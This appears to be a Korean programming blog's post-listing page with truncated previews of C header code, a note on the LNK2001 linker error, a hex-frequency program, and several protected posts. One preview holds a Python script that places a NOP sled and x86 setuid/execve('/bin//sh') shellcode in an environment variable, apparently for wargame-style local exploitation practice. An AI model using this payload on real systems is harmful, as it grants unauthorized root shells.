완전한 형태로 구현하지 않고 일부만 구현해서 사용하였다.12345678910111213141516171819202122/* Circle.h */#pragma once#ifndef __CIRCLE_H#define __CIRCLE_H typedef struct _CIRCLE_NODE { DWORD index; struct _CIRCLE_NODE *next_node;} CIRCLE_NODE, *PCIRCLE_NODE; typedef struct _CIRCLE { PBreak_Table header_table; PBreak_Table tailer_table;} CIRCLE, *PCIRCLE; void Insert_Circle(PCIRCLE pbtc, DWORD value);DWORD Table_Count(PCI..
교훈 : 헤더 파일에 변수를 포함한 함수를 선언하는 이상한 코딩 습관을 고쳐야겠다.해결법 : 왠만하면 헤더 파일에는 변수를 넣지 말고 함수와 매크로, 구조체 등을 정의하는 용도로 사용하고 꼭 넣어야 겠다면 extern을 반드시 명시해준다. error LNK2001 오류는 코드 문법 자체의 문제는 없으나 링킹 과정에서 같은 코드가 여러번 정의되어 있기 때문에 발생하는 오류이다.12345678//temp.hint abc; //temp1.c#include "temp.h" //temp2.c#include "temp.h"cs 대충 위와 같은 코드가 있다고 정의하자. 헤더 파일에서 변수를 정의를 하는데 temp1.c와 temp2.c에서 둘 다 헤더를 호출하기 때문에 헤더 파일에서는 int abc가 2번 정의되는 사..
소스 코드123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167..
16진수 자릿수별 빈도 계산 in 64bit 환경12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916..
보호되어 있는 글입니다.
123456789101112131415161718192021import sysimport osfrom ctypes import cdll shellcode="\x90"*100000shellcode+="\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" if len(sys.argv) is 2: environ_name = sys.argv[1]else: environ_name = 'EGG' libc = cdll.LoadLibrary("libc.so.6") os.environ[environ_name]..
1234567891011121314151617181920212223242526272829303132333435363738394041424344#include #include #include #include int main(void){ char* arg[2] = {'A', }; //string array char* env[2] = {'A', }; //environment int pid, pipefd[2]; if(pipe(pipefd)
보호되어 있는 글입니다.
보호되어 있는 글입니다.